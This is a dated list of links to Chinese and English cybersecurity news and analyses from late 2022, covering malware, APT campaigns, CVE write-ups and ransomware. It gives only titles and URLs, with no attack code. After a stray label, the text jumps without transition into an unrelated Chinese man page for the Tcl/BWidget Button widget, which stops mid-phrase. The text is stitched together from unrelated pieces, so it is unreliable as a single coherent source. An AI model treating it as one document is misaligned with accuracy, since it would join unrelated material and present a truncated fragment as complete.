[Lilith僵尸网络及其背后的Jester黑客团伙跟进分析](https://www.4hou.com/posts/oJmK) - 9.23 [Fake Indian Banking Rewards Apps Targeting Android Users with Info-stealing Malware](https://thehackernews.com/2022/09/fake-indian-banking-rewards-apps.html) - 9.23 [Researchers Uncover Years-Long Mobile Spyware Campaign Targeting Uyghurs](https://thehackernews.com/2022/09/researchers-uncover-years-long-mobile.html) - 9.23 [Linux恶意软件兴起:保护开源软件(OSS)的9个技巧](https://www.4hou.com/posts/vJ7V) - 9.23 [TeamTNT 的 DockerHub 凭据泄露漏洞](https://www.4hou.com/posts/KE2r) - 9.24 [一个15年前的Python漏洞肆虐全球软件界](https://www.4hou.com/posts/9XyP) - 9.25 [三成热门的PyPI软件包被误标为是恶意软件包](https://www.4hou.com/posts/2JJK) - 9.25 [【网络安全研究进展系列】CROSSLINE 攻击:打破 AMD 安全加密虚拟化的“通过崩溃实现安全”的内存壁垒](https://www.inforsec.org/wp/?p=5495) - 9.25 [黑客利用 BGP 劫持 IP 段窃取了约 23 万美元加密货币](https://www.solidot.org/story?sid=72867) - 9.26 [STOP勒索变种采用双重Fast Flux技术逃避检测](https://www.secpulse.com/archives/187655.html) - 9.26 [住宅代理IP在网络攻击中的作用](https://www.4hou.com/posts/ykOV) - 9.26 [CVE-2022-34916 Apache Flume 远程代码执行漏洞分析](https://www.anquanke.com/post/id/280625) - 9.26 [CDN绕过技术总汇](https://www.youxia.org/2022/09/104374.html) - 9.26 [Bumblebee 恶意软件带着新感染技术回归](https://paper.seebug.org/1980/) - 9.26 [网络雇佣兵Void Balaur盯上俄罗斯企业和政治实体](https://www.anquanke.com/post/id/280749) - 9.26 [公安部门查获网络黑账号3亿余个 “断号”行动开启打击网络账号黑色产业链](https://www.youxia.org/2022/09/104388.html) - 9.28 [前所未见的 APT 组织 Metador 已攻击电信、ISP 和大学约 2 年](https://hackernews.cc/archives/41744) - 9.28 [Lazarus组织以热门工作为饵,投放Windows/macOS 恶意软件](https://www.anquanke.com/post/id/280979) - 9.28 [360发布NSA网络攻击后续报告 周鸿祎:城市和基础设施已成网络战目标](https://www.4hou.com/posts/N1RL) - 9.29 [weggli:C/C++源码审计工具](http://www.gandalf.site/2022/09/wegglicc.html) - 9.29 [The New Era of Hacktivism – State-Mobilized Hacktivism Proliferates to the West and Beyond](https://research.checkpoint.com/2022/the-new-era-of-hacktivism/) - 9.30 [“要命”的广告弹窗](https://www.freebuf.com/articles/346101.html) - 9.30 [Replicant:在Trezor One硬件钱包上重现故障注入攻击](https://www.4hou.com/posts/ZXD6) - 9.30 [微软:Lazarus黑客组织“武器化”开源软件](https://www.anquanke.com/post/id/281169) - 9.30 [止损1个亿,“浪神”黑产组织覆灭记](https://www.anquanke.com/post/id/280984) - 9.30 [警惕!新恶意程序可感染Windows、Linux 和 FreeBSD](https://www.anquanke.com/post/id/281162) - 0x09 - 10.1 [NullMixer:迄今为止投放最多恶意软件的投放程序](https://www.4hou.com/posts/JXRD) - 10.3 [新的 Golang 勒索软件Agenda自定义攻击](https://www.4hou.com/posts/mX0O) - 10.4 [攻击者滥用《原神》(游戏名)反作弊驱动程序来阻止杀毒软件](https://www.4hou.com/posts/500B) - 10.5 [We Smell A RatMilad Android Spyware](https://blog.zimperium.com/we-smell-a-ratmilad-mobile-spyware/) - 10.6 [Google Play和Apple Store惊现下载量达1300万人次的广告软件](https://www.4hou.com/posts/GK2y) - 10.8 [黑客盗取币安链200万枚BNB过程全解析](https://www.youxia.org/2022/10/104964.html) - 10.8 [新的攻击活动利用了MICROSOFT EXCHANGE服务器上新的0 day RCE漏洞](https://www.4hou.com/posts/nJPD) - 10.9 [LofyGang分发约200个恶意NPM包窃取信用卡数据](https://www.anquanke.com/post/id/281403) - 10.9 [chaos恶意软件使用了全新的DDoS和加密模块重新出现在人们面前](https://www.4hou.com/posts/l6Pl) - 10.9 [英国军情五处网站遭黑客攻击,被迫暂时关闭](https://www.anquanke.com/post/id/281361) - 10.9 [400万条2K Games用户数据正在暗网上出售](https://www.freebuf.com/news/346294.html) - 10.9 [Facebook检测400+应用程序窃取用户登录凭据](https://www.anquanke.com/post/id/281357) - 10.9 [研究人员在宜家智能照明系统中发现漏洞](https://www.4hou.com/posts/DElY) - 10.9 [Meta起诉应用程序开发者窃取超百万WhatsApp帐户](https://www.anquanke.com/post/id/281318) - 10.9 [泄露约30万用户信息,丰田公开道歉](https://www.freebuf.com/news/346273.html) - 10.9 [2022 年上半年,影子 API 遭遇多达 50 亿次的恶意请求](https://hackernews.cc/archives/41777) - 10.9 [新型钓鱼诈骗:贪小便宜吃大亏!!](https://www.secpulse.com/archives/188641.html) - 10.10 [滥用Notepad++插件实现规避和持久化](https://www.anquanke.com/post/id/281322) - 10.10 [黑客组织“劫持”伊朗国家电视台](https://www.anquanke.com/post/id/281438) - 10.11 [【顶会论文分析】模型劫持攻击](http://blog.nsfocus.net/model-hijacking-attack/) - 10.11 [暗网市场 BidenCash 公开超 120 万信用卡用户信息](https://hackernews.cc/archives/41837) - 10.11 [反诈态势情报 | 远控技术的应用趋势,以及窝点黑产设备的监控和打击对策](https://www.anquanke.com/post/id/281496) - 10.11 [HTML 附件成为恶意邮件的常用手段](https://paper.seebug.org/1983/) - 10.12 [键盘残余热量可能泄露密码,20秒内拍下键盘热像图,密码泄露86%](https://www.freebuf.com/articles/database/346627.html) - 10.13 [Cymru发布恶意软件IcedID近期攻击活动的分析报告](https://www.anquanke.com/post/id/281690) - 10.13 [The discovery of Alchimist C2 tool, revealed a new attack framework to target Windows, macOS, and Linux systems](https://securityaffairs.co/wordpress/137046/hacking/alchimist-c2-tool.html) - 10.13 [Modified WhatsApp App Caught Infecting Android Devices with Malware](https://thehackernews.com/2022/10/modified-whatsapp-app-caught-infecting.html) - 10.13 [We Smell A RatMilad Android Spyware](https://www.zimperium.com/blog/we-smell-a-ratmilad-mobile-spyware/) - 10.14 [欧洲多国基础设施接连遭到破坏禁忌正在被打破](https://www.anquanke.com/post/id/281656) - 10.14 [当我们谈论小程序安全时,我们在谈论什么](https://www.freebuf.com/articles/web/339661.html) - 10.14 [SystemTap在应急排查中的应用](http://blog.nsfocus.net/systemtap/) - 10.16 [十大未查出幕后组织的APT攻击](https://www.4hou.com/posts/BEjn) - 10.16 [New PHP Version of Ducktail info-stealer hijacks Facebook Business accounts](https://securityaffairs.co/wordpress/137145/malware/ducktail-php-targets-facebook.html) - 10.17 [黑客利用 Wi-Fi 无人机远程渗透了金融公司内网](https://hackernews.cc/archives/41920) - 10.17 [Mysterious Prestige ransomware targets organizations in Ukraine and Poland](https://securityaffairs.co/wordpress/137203/apt/prestige-ransomware-targets-ukraine.html) - 10.17 [Magniber勒索团伙通过JavaScript文件感染Windows用户](https://www.anquanke.com/post/id/281791) - 10.17 [Android NFC 条件竞争漏洞分析(CVE-2021-0870)](https://paper.seebug.org/1987/) - 10.17 [CVE-2022-25237 Bonitasoft Platform RCE漏洞分析](https://www.anquanke.com/post/id/281732) - 10.17 [8220 Gang 云僵尸网络感染全球约 3 万台主机](https://paper.seebug.org/1986/) - 10.17 [攻击者利用Microsoft Office文件传播Agent Tesla 和njRat](https://www.4hou.com/posts/KEvz) - 10.17 [工信部通报38款App,苹果iOS也被点名](https://www.4hou.com/posts/kMLY) - 10.18 [8220 Gang 云僵尸网络感染全球约 3 万台主机](https://hackernews.cc/archives/41948) - 10.19 [基于统一结构生成的网安信息抽取研究](http://blog.nsfocus.net/information-extraction/) - 10.19 [超过 1.7 万台在线暴露的 Fortinet 设备易受到 CVE-2022-40684 的攻击](https://hackernews.cc/archives/42006) - 10.19 [在美国申请减免学生贷款?当心落入网络诈骗者圈套](https://www.freebuf.com/news/347236.html) - 10.19 [微信社工攻击防护方案](https://www.freebuf.com/articles/system/347157.html) - 10.19 [微软发现:神秘的勒索软件 Prestige 正在针对乌克兰、波兰的运输和物流组织](https://www.anquanke.com/post/id/281900) - 10.20 [报告显示,软件供应链的攻击在三年内猛增 742%](https://hackernews.cc/archives/42010) - 10.20 [RedLine Stealer 恶意软件通过网络钓鱼页面传播](https://paper.seebug.org/1991/) - 10.21 [Ring 0 级固件威胁:新型 UEFI rootkit 恶意软件 BlackLotus 曝光](https://hackernews.cc/archives/42038) - 10.21 [一种高端的APP代码保护方案](https://www.secpulse.com/archives/189584.html) - 10.21 [黑客使用新版 FurBall Android 恶意软件监视伊朗公民](https://www.freebuf.com/news/347519.html) - 10.21 [DangerousSavanna:为期两年的针对非洲法语区的金融机构的攻击](https://www.4hou.com/posts/wg5w) - 10.21 [Ring 0级固件威胁:新型UEFI rootkit恶意软件BlackLotus曝光](https://www.anquanke.com/post/id/282003) - 10.21 [Ask your WAF vendor: “Do you block text4shell (CVE-2022-42889) zero-day attack?”](https://blog.checkpoint.com/2022/10/20/ask-your-waf-vendor-do-you-block-text4shell-cve-2022-42889-zero-day-attack/) - 10.22 [浏览器驱动的异步攻击:HTTP 请求走私(下)](https://www.4hou.com/posts/KE7R) - 10.24 [Malicious Clicker apps in Google Play have 20M+ installs](https://securityaffairs.co/wordpress/137549/malware/clicker-apps-google-play.html) - 10.24 [网络攻击致批发零售巨头麦德龙IT故障](https://www.anquanke.com/post/id/282069) - 10.24 [Black Basta 勒索软件组织通过QAKBOT,Brute Ratel和Cobalt Strike渗透网络](https://www.4hou.com/posts/ykyw) - 10.24 [Typosquat模仿27个品牌推送Windows、Android 恶意软件](https://www.anquanke.com/post/id/282053) - 10.24 [CVE-2022-41852 Apache Commons Jxpath 命令执行漏洞分析](https://paper.seebug.org/1992/) - 10.24 [数千个GitHub存储库使用恶意软件提供虚假PoC漏洞利用](https://www.anquanke.com/post/id/282066) - 10.24 [Check Point发布Black Basta分析报告](https://www.anquanke.com/post/id/282016) - 10.24 [伪装成 Word 文件的 GuLoader 恶意软件正在韩国传播](https://paper.seebug.org/1990/) - 10.25 [FBI:伊朗APT组织Emennet Pasargad可能针对美国中期选举](https://www.anquanke.com/post/id/282112) - 10.25 [PatchWork组织Herbminister行动武器库大揭秘](https://www.4hou.com/posts/2Jwj) - 10.26 [TCP/IP 漏洞 CVE-2022-34718 PoC 还原及漏洞分析](https://paper.seebug.org/1996/) - 10.26 [基于频域分析的实时恶意流量检测系统](http://blog.nsfocus.net/realtime-robust-malicious-traffic-detection-via-frequency-domain-analysis/) - 10.27 [APT组织SideWinder使用新后门攻击巴基斯坦实体](https://www.anquanke.com/post/id/282203) - 10.27 [【网络安全研究进展系列】基于 cache 的中间人攻击:操纵隔离执行环境中的敏感数据](https://www.inforsec.org/wp/?p=5525) - 10.27 [Kimsuky Hackers Spotted Using 3 New Android Malware to Target South Koreans](https://thehackernews.com/2022/10/kimsuky-hackers-spotted-using-3-new.html) - 10.28 [Google fixes a new actively exploited Chrome zero-day, it is the seventh one this year](https://securityaffairs.co/wordpress/137753/hacking/7-chrome-zero-day-fixed.html) - 10.28 [与朝鲜有关的黑客 Kimsuky 正通过 3 个最新 Android 恶意软件针对韩国](https://hackernews.cc/archives/42122) - 10.28 [CVE-2021-3019 Lanproxy 目录遍历漏洞](https://paper.seebug.org/1997/) - 10.28 [MobiCom2022 | 针对终端设备被无感知劫持并接入企业内网的分析研究](https://www.anquanke.com/post/id/282215) - 10.28 [诈骗碟中谍,Water Labbu利用其他攻击者的恶意DApp窃取加密货币](https://www.4hou.com/posts/wgvm) - 10.28 [苹果曝严重漏洞,可窃听用户与Siri对话](https://www.freebuf.com/news/348108.html) - 10.29 [APT-Q-36:南亚摩诃草组织近期武器库迭代更新分析](https://www.freebuf.com/articles/paper/348042.html) - 10.30 [Bumblebee:增加其容量并进化其TTP](https://www.4hou.com/posts/pVPr) - 10.30 [发现新APT组织!"南亚之蟒"针对印度国防部进行间谍活动](https://www.freebuf.com/news/348139.html) - 10.31 [移动操作系统代码漏洞挖掘及研究](https://www.inforsec.org/wp/?p=5585) - 10.31 [APT10: Tracking down LODEINFO 2022, part I](https://securelist.com/apt10-tracking-down-lodeinfo-2022-part-i/107742/) - 10.31 [APT10: Tracking down LODEINFO 2022, part II](https://securelist.com/apt10-tracking-down-lodeinfo-2022-part-ii/107745/) - 10.31 [金融行业 IoT 物联网安全分析](https://www.anquanke.com/post/id/282079) - 10.31 [RomCom 黑客瞄准乌克兰军事机构](https://paper.seebug.org/1999/) - 0x10 - 11.01 [Earing Farm攻击事件分析](https://www.anquanke.com/post/id/281979) - 11.01 [CVE-2022-33891 Apache Spark shell 命令注入漏洞分析](https://paper.seebug.org/2000/) - 11.02 [These Android Apps with a Million Play Store Installations Redirect Users to Malicious Sites](https://thehackernews.com/2022/11/these-android-apps-with-million-play.html) - 11.02 [Chinese Hackers Using New Stealthy Infection Chain to Deploy LODEINFO Malware](https://thehackernews.com/2022/11/chinese-hackers-using-new-stealthy.html) - 11.02 [GitHub高危漏洞可劫持其他用户的库](https://www.4hou.com/posts/50oq) - 11.02 [P2P 僵尸网络:回顾·现状·持续监测](https://blog.netlab.360.com/p2p-botnet-monitor/) - 11.03 [We Smell A RatMilad Android Spyware](https://zimpstage.wpengine.com/blog/we-smell-a-ratmilad-mobile-spyware/) - 11.03 [P2P Botnets: Review - Status - Continuous Monitoring](https://blog.netlab.360.com/p2p-botnets-review-status-continuous-monitoring/) - 11.03 [404星链计划 | AOSP Bug Hunting with appshark (1): Intent Redirection](https://paper.seebug.org/2002/) - 11.03 [疑似Lazarus组织针对韩国的攻击活动分析](https://www.secpulse.com/archives/190381.html) - 11.03 [DiceyF——针对东南亚网络赌场开发环境的攻击活动](https://www.4hou.com/posts/pVmr) - 11.04 [WebSocket 内存马,一种新型内存马技术](https://www.secpulse.com/archives/190549.html) - 11.04 [RomCom远控木马冒充合法软件传播扩散](https://www.anquanke.com/post/id/282718) - 11.04 [非洲数十个金融组织遭黑客攻击,损失巨大](https://www.freebuf.com/news/348839.html) - 11.04 [“停业”近5个月后,Emotet僵尸网络再度回归作乱](https://www.anquanke.com/post/id/282649) - 11.05 [数百个美国新闻网站遭到SocGholish供应链攻击](https://www.4hou.com/posts/wgNg) - 11.05 [2022年第3季度APT趋势报告](https://www.4hou.com/posts/l6y7) - 11.07 [CVE-2022-22980 Spring Data MongoDB SpEL 表达式注入漏洞分析](https://paper.seebug.org/2004/) - 11.07 [Victor the Fortune攻击事件分析](https://www.anquanke.com/post/id/282574) - 11.07 [供应链攻击,250+美国新闻网站惨变恶意软件“扩散器”](https://www.anquanke.com/post/id/282729) - 11.07 [黑客使用恶意版本的 KeePass 和 SolarWinds 软件分发 RomCom RAT](https://paper.seebug.org/2005/) - 11.09 [CVE-2021-44707 Adobe Reader 越界写漏洞分析与利用](https://paper.seebug.org/2008/) - 11.09 [知道手机投屏可以看剧,不知道还能被用来窃取隐私!](https://www.anquanke.com/post/id/282936) - 11.09 [Chrome V8 引擎类型混淆漏洞分析 (CVE-2021-38001)](https://paper.seebug.org/2007/) - 11.09 [注意!一个新的恶意扩展可以远程控制你的谷歌浏览器](https://www.freebuf.com/news/349237.html) - 11.10 [2.7万份文件泄露,乌克兰”IT军团“入侵俄罗斯中央银行](https://www.freebuf.com/news/349422.html) - 11.10 [域前置技术和C2隐藏](https://www.secpulse.com/archives/190825.html) - 11.10 [新的Azov数据擦除软件企图诬陷研究人员和IT安全外媒BleepingComputer](https://www.4hou.com/posts/jJwY) - 11.11 [automatic fuzz chromium from a easy way](https://paper.seebug.org/2012/) - 11.11 [APT29利用Windows功能入侵欧洲外交实体网络](https://www.anquanke.com/post/id/283066) - 11.11 [Worok黑客使用隐写术在PNG中隐藏新型恶意软件](https://www.anquanke.com/post/id/283117) - 11.11 [OriginLogger:键盘记录恶意软件Agent Tesla的新变种](https://www.4hou.com/posts/BE7x) - 11.12 [APT 10利用自定义后门LODEINFO向日本各类机构发起攻击](https://www.4hou.com/posts/2JPW) - 11.13 [21世纪最严重的15起数据泄露事件](https://www.4hou.com/posts/6Vlz) - 11.14 [New KmsdBot Malware Hijacking Systems for Mining Crypto and Launch DDoS Attacks](https://thehackernews.com/2022/11/new-kmsdbot-malware-hijacking-systems.html) - 11.14 [一次金融APP的解密历程](https://www.secpulse.com/archives/190977.html) - 11.14 [乌克兰警方捣毁年入2亿欧元跨国诈骗集团](https://www.anquanke.com/post/id/283209) - 11.14 [Accidental $70k Google Pixel Lock Screen Bypass](https://bugs.xdavidhu.me/google/2022/11/10/accidental-70k-google-pixel-lock-screen-bypass/) - 11.14 [FBI查获18个用于招募金钱"骡子"的网站域名](https://www.anquanke.com/post/id/283201) - 11.14 [网络钓鱼活动向数千设备投放IceXLoader恶意软件](https://www.anquanke.com/post/id/283171) - 11.15 [Google Play商店现恶意应用程序,可分发Xenomorph银行木马](https://www.anquanke.com/post/id/283285) - 11.15 [一款极善隐藏的恶意软件,悄悄在亚、非地区泛滥](https://www.freebuf.com/news/349816.html) - 11.16 [PCspooF:新漏洞影响航天器和飞机使用的网络技术](https://www.anquanke.com/post/id/283349) - 11.16 [通过视频网站传播的RedLine窃密木马跟进分析](https://www.secpulse.com/archives/191105.html) - 11.17 [报告显示 2022 年 macOS 操作系统的恶意软件感染率最低](https://hackernews.cc/archives/42478) - 11.17 [苹果macOS中恶意软件 将近一半来自于MacKeeper](https://www.youxia.org/2022/11/105680.html) - 11.17 [Android 组件逻辑漏洞漫谈](https://paper.seebug.org/2018/) - 11.17 [新型RapperBot恶意软件盯上游戏服务器实施DDoS攻击](https://www.anquanke.com/post/id/283374) - 11.17 [赛门铁克安全研究员称发现黑客入侵CA机构](https://www.anquanke.com/post/id/283363) - 11.18 [臭名昭著的 Zeus 僵尸网络团伙头目在日内瓦被捕](https://hackernews.cc/archives/42510) - 11.18 [年末购物季将至,一复杂钓鱼工具正针对北美消费者](https://www.freebuf.com/news/350147.html) - 11.18 [W4SP恶意软件借供应链攻击,盯上Python开发人员](https://www.anquanke.com/post/id/283446) - 11.19 [CVE-2019-8561: macOS中难以修复的PackageKit框架漏洞](https://www.4hou.com/posts/zlDO) - 11.20 [DTrack开始针对欧洲和拉丁美洲发起攻击](https://www.4hou.com/posts/JXMv) - 11.21 [AXLocker新型勒索软件活跃,加密盗号两手抓](https://www.anquanke.com/post/id/283511) - 11.21 [WatchDog 继续瞄准东亚 CSP 公司](https://paper.seebug.org/2022/) - 11.21 [DEV-0569恶意组织组借谷歌广告分发勒索软件](https://www.anquanke.com/post/id/283489) - 11.21 [Android users risk falling victim to fraudsters during online job searches](https://news.drweb.com/show/?i=14608&lng=en) - 11.22 [APP漏洞挖掘(一)某下载量超101万的APP有几个漏洞可以GetShell?](https://www.freebuf.com/vuls/349259.html) - 11.23 [黑客撞库攻击DraftKings,非法窃取30万美元](https://www.anquanke.com/post/id/283617) - 11.23 [1500个APP暴露Algolia API密钥,影响超300万用户](https://www.4hou.com/posts/wgDX) - 11.23 [PyPI中新出现了一类新型混淆攻击](https://www.4hou.com/posts/4Kjk) - 11.23 [研究员披露针对macOS沙箱逃逸漏洞PoC利用代码](https://www.anquanke.com/post/id/283578) - 11.24 [对 ATM 恶意软件组织 Prilex 的分析](https://www.4hou.com/posts/nJP4) - 11.24 [黑客借停产网络服务器漏洞破坏印度能源组织](https://www.anquanke.com/post/id/283644) - 11.25 [Docker Hub存储库暗藏1650+恶意软件](https://www.anquanke.com/post/id/283707) - 11.25 [Black Basta勒索软件借道木马,大肆感染美国公司](https://www.anquanke.com/post/id/283701) - 11.25 [大规模Earth Preta 钓鱼攻击分析](https://www.4hou.com/posts/xjEP) - 11.25 [数千台设备中招,SharkBot恶意软件来袭](https://www.anquanke.com/post/id/283694) - 11.25 [警惕!RansomExx勒索软件升级Rust语言](https://www.anquanke.com/post/id/283691) - 11.25 [网络公司爬取直播信息贩卖牟利,“榜一大哥”数据遭泄漏](https://www.anquanke.com/post/id/283688) - 11.25 [他们假装应聘偷偷潜入电商公司,目的竟是窃取物流信息](https://hackernews.cc/archives/42643) - 11.25 [Bahamut 黑客利用虚假 VPN 应用程序攻击 Android 用户](https://hackernews.cc/archives/42631) - 11.27 [Mali GPU漏洞补丁已发布,数百万安卓用户仍受到影响](https://www.4hou.com/posts/MBz1) - 11.28 [真实案例!恶意黑客利用物联网设备成功入侵电网](https://hackernews.cc/archives/42652) - 11.28 [Twitter 遭黑客攻击泄露 540 万户数据,影响比想象中严重](https://hackernews.cc/archives/42648) - 11.28 [安全向左推特向右,不安全的“蓝鸟”还能飞几时?](https://www.anquanke.com/post/id/283719) - 11.28 [国际刑警组织“HAECHI-III”打击行动,缴获1.3 亿美元](https://www.anquanke.com/post/id/283760) - 11.28 [Koxic 勒索软件在韩国传播](https://paper.seebug.org/2027/) - 11.28 [Ragnar Locker勒索软件团伙染指比利时警察局](https://www.anquanke.com/post/id/283765) - 11.28 [Windows App 运行控制机制 Smart App Control 的内部安全架构分析(下)](https://www.4hou.com/posts/GKrQ) - 11.29 [黑产情报 | 定向“投毒”黑吃黑,剧情酷似“碟中谍”](https://www.anquanke.com/post/id/283331) - 11.29 [新型远控--基于Web管理界面Manjusaka的分析](https://www.4hou.com/posts/9XMz) - 11.29 [网络入侵检测系统之suricata概要介绍](https://www.anquanke.com/post/id/283260) - 11.29 [RansomBoggs勒索软件攻击乌克兰实体](https://www.anquanke.com/post/id/283793) - 11.30 [宏碁五款电脑驱动程序存在漏洞,可导致恶意软件入侵](https://www.freebuf.com/articles/mobile/351149.html) - 11.30 [哨声吹响,与世界杯相关的欺诈也在激增](https://www.freebuf.com/articles/network/350887.html) - 0x11 - 12.01 [安装量达 1500 万,这些诈骗软件专门针对发展中国家](https://www.freebuf.com/news/351277.html) - 12.01 [Symoo 恶意应用程序滥用黑客设备在多个平台上创建虚假帐户](https://hackernews.cc/archives/42726) - 12.02 [DarkKomet synaptics 病毒应急响应事件分析](https://www.secpulse.com/archives/192714.html) - 12.02 [CVE-2022-29464 WSO2 API Manager 任意文件上传、远程代码执行漏洞](https://paper.seebug.org/2033/) - 12.02 [30 万安卓用户 Facebook 凭证遭“Schoolyard Bully”木马窃取 ](https://www.freebuf.com/news/351387.html) - 12.02 [ScarCruft APT组织使用新型Dolphin后门攻击韩国目标](https://www.anquanke.com/post/id/283960) - 12.03 [Hackers Sign Android Malware Apps with Compromised Platform Certificates](https://thehackernews.com/2022/12/hackers-sign-android-malware-apps-with.html) - 12.04 [公有云攻防系列:云凭证的泄露与利用](http://blog.nsfocus.net/publiccloud/) - 12.04 [App漏洞可远程解锁启动汽车,影响现代、捷尼赛思汽车](https://www.4hou.com/posts/JXpy) - 12.04 [攻击技术研判 | 典型BYOVD利用与Ring0防御削弱技术研判](https://www.freebuf.com/articles/network/351302.html) - 12.05 [DuckLogs 恶意软件在野外执行多种恶意活动](https://paper.seebug.org/2034/) - 12.06 [2022年最常被利用的十大漏洞](https://www.secpulse.com/archives/192996.html) - 12.06 [APP漏洞挖掘之某下载量超101万的APP有几个漏洞可以GetShell?](https://www.secpulse.com/archives/192793.html) - 12.06 [【网络安全研究进展系列】WiFi 网络下的设备识别技术](https://www.inforsec.org/wp/?p=5711) - 12.07 [快讯:使用21个漏洞传播的DDoS家族WSzero已经发展到第4个版本](https://blog.netlab.360.com/new-ddos-botnet-wszeor/) - 12.07 [一起来逆向分析某黑产APP](https://www.secpulse.com/archives/193066.html) - 12.07 [APP漏洞挖掘(二)同开发商的多款APP存在通用漏洞](https://www.freebuf.com/vuls/351615.html) - 12.07 [木马程序攻击+利用Windows内核漏洞提权](https://www.freebuf.com/vuls/351450.html) - 12.07 [遭遇史上最大规模网络攻击,俄罗斯第二大银行被迫下线](https://hackernews.cc/archives/42842) - 12.07 [最大暗网移动恶意软件市场 InTheBox 浮出水面](https://hackernews.cc/archives/42829) - 12.07 [Microsoft Alerts Cryptocurrency Industry of Targeted Cyberattacks](https://thehackernews.com/2022/12/microsoft-alerts-cryptocurrency.html) - 12.08 [【安全研究】SkidMap挖矿木马研究](https://www.secpulse.com/archives/193234.html) - 12.08 [一种前所未见的恶意软件CryWiper在大肆清除俄罗斯众多法院和市长办公室的数据](https://www.4hou.com/posts/O9xE) - 12.08 [俄罗斯背景黑客组织攻击美国武器供应商](https://www.anquanke.com/post/id/284165) - 12.08 [疑似APT-C-56(透明部落)针对恐怖主义的攻击活动分析](https://www.anquanke.com/post/id/284157) - 12.08 [容器逃逸手法实战-危险配置与挂载篇](http://blog.nsfocus.net/docker/) - 12.08 [AI挖洞?利用ChatGPT辅助工作初探](http://www.gandalf.site/2022/12/aichatgpt.html) - 12.08 [Android app with over 5m downloads leaked user browsing history](https://securityaffairs.co/wordpress/139415/mobile-2/android-app-with-over-5m-downloads-leaked-user-browsing-history.html) - 12.09 [Zombinder APK binding service used in multiple malware attacks](https://securityaffairs.co/wordpress/139431/malware/zombinder-apk-binding-service.html) - 12.09 [Cloud Atlas targets entities in Russia and Belarus amid the ongoing war in Ukraine](https://research.checkpoint.com/2022/cloud-atlas-targets-entities-in-russia-and-belarus-amid-the-ongoing-war-in-ukraine/) - 12.09 [MuddyWater滥用合法工具实施网络攻击活动](https://www.anquanke.com/post/id/284222) - 12.09 [Hive勒索组织黑五期间攻击欧洲零售商,已累计攻击1300家公司](https://www.freebuf.com/news/351975.html) - 12.09 [大量中文网站被黑,嵌入世界杯相关关键词用于黑帽SEO](https://www.freebuf.com/articles/network/351899.html) - 12.10 [“匿影”组织再次活跃——通过爆破数据库发起勒索攻击](https://www.freebuf.com/articles/es/351984.html) - 12.11 [MuddyWater APT group is back with updated TTPs](https://securityaffairs.co/wordpress/139505/apt/muddywater-changs-ttps.html) - 12.12 [分析称勒索攻击在非洲、中东与中国增长最快](https://www.freebuf.com/articles/network/351900.html) **** ##关于 author: [drov_liu](none)
sec-knowleage
.TH Button 3tk "tcllib - BWidget" .SH NAME .B Button - 有增强选项的按钮组件 .SH 创建 CREATION .B Button pathName ?option value...? .SH 描述 DESCRIPTION Button 组件向 Tk 按钮组件扩展了新选项。增加了动态帮助 (\fIDynamicHelp\fR) 选项,一个新面型(relief)式样,arm/disarm 回调,和 repeatdelay/repeatinterval 选项。 .SH 组件特有选项 WIDGET-SPECIFIC OPTIONS .TP -armcommand 指定当在 Button 上点击鼠标按钮 1 的时候与 Button 相关联的一个 Tcl 命令。 在 repeatdelay 或 repeatinterval 选项是正整数的时候,如果鼠标指针在这个 按钮之上,则反复的调用这个命令,直到释放鼠标按钮 1。 .TP -command 指定与 Button 相关联的一个 Tcl 命令。典型的当鼠标按钮 1 在 Button 窗口上 释放的时候调用这个命令。 .TP -default 指定缺省 ring 为三种状态之一: normal、active、或 disabled。在活跃状态下 ,用这个平台特定的缺省按钮的外观绘制这个按钮。在普通状态下,用这个平台特 定的非缺省按钮的外观来绘制这个按钮,留出足够的空间来绘制缺省按钮外观。普 通和活跃状态将导致相同大小的按钮。在停用状态下,用非缺省按钮外观来绘制这 个按钮,但不为缺省外观留下空间。停用状态将导致比活跃状态更小的按钮。 .TP -disarmcommand 指定在鼠标按钮 1 释放的时候与 Button 相关联的一个 Tcl 命令。即使鼠标指针 不在 Button 上也要调用这个命令,并且总是在用 command 选项指定的命令之前 。它典型的与 armcommand、repeatdelay 和 repeatinterval 联合使用。 .TP -height 为 Button 指定想要的高度。如果在 Button 中显示一个图象或位图,则这个值单 位是屏幕单位; 对于文本它以行为单位。如果未指定这个选项,则从在其中显示 的图象或位图或文本的大小来计算 Button 的需要的高度。 .TP -helptext 动态帮助的文本。如果为空,则这个组件不能获得帮助。 .TP -helptype 动态帮助的类型。使用 balloon 或 variable. .TP -helpvar 在 helptype 选项是 variable 的时候使用的变量。 .TP -name 为这个按钮指定一个标准名字。如果在资源数据库中找到选项 *nameName,则从它 的值中提取 text 和 underline 选项。 .TP -relief 为这个组件指定想要的 3-D 效果。可接受的值是按钮面型(relief)的标准值 (raised、sunken、 flat、ridge、solid、和 groove) 和 link,它指定当指针在 按钮外面的时候按钮的面型是 flat 而在指针在里面的时候是 raised。 .TP -state 指定这个 Button 为三种状态之一: normal、active、或 disabled。在普通状态 下,使用 foreground 和 background 选项显示这个 Button。典型的在指针在这 个 Button 之上的时候使用活跃状态。在活跃状态下,使用 activeforeground 和 activebackground 选项显示这个 Button。停用状态意味着这个按钮应当是没有感 觉的(insensitive): 缺省绑定将拒绝激活这个组件并将忽略鼠标按扭按下。在这 种状态下,使用 disabledforeground 和 background 选项显示这个 Button。 .TP -underline 指定在这个按钮的标签中要有下划线的字符的整数索引。0 对应显示的文本的第一 个字符,1 对应下一个字符,以此类推。 在这个按钮的顶层窗口上自动把绑定 <Alt-char> 自动的设置为调用 Button::setfocus。 .TP -width 为 Button 指定想要的宽度。如果在 Button 中显示一个图象或位图,则这个值单 位是屏幕单位; 对于文本它以字符为单位。如果未指定这个选项,则从在其中显 示的图象或位图或文本的大小来计算 Button 的需要的宽度。 .SH 组件命令 .TP pathName cget option 返回用 option 给出的配置选项的当前值。Option 可以是能被建立命令接受的任何值。 .TP pathName configure ?option? ?value option value ...? 查询或修改这个组件的配置选项。如果未指定 option ,则返回描述 pathName 的 所有可获得的选项的一个列表。如果指定了不带 value 的 option,则这个命令返 回描述这个指名的 option 的一个列表(这个列表与未指定 option 所返回的值的 相应的子集是一样的)。如果指定了一个或多个选项-值 对,则这个命令把给定的 组件选项修改为给定的值;在这种情况下这个命令返回一个空串。Option 可以是 能被建立命令接受的任何值。只读选项不可修改。 .TP pathName invoke 如果 Button 的 state 不是停用。它调用这个按钮的命令。用活跃颜色和 sunken 面型(relief)重新显示 Button,并调用 armcommand。接着用普通颜色和它定义的 面型显示 Button,并调用 disarmcommand 接着 command。 在 Button 获得输入聚焦并且用户按 space bar 的时候调用 invoke。 .SH "[中文版维护人]" .B 寒蝉退士 .SH "[中文版最新更新]" .B 2001/06/04 .SH "《中国 Linux 论坛 man 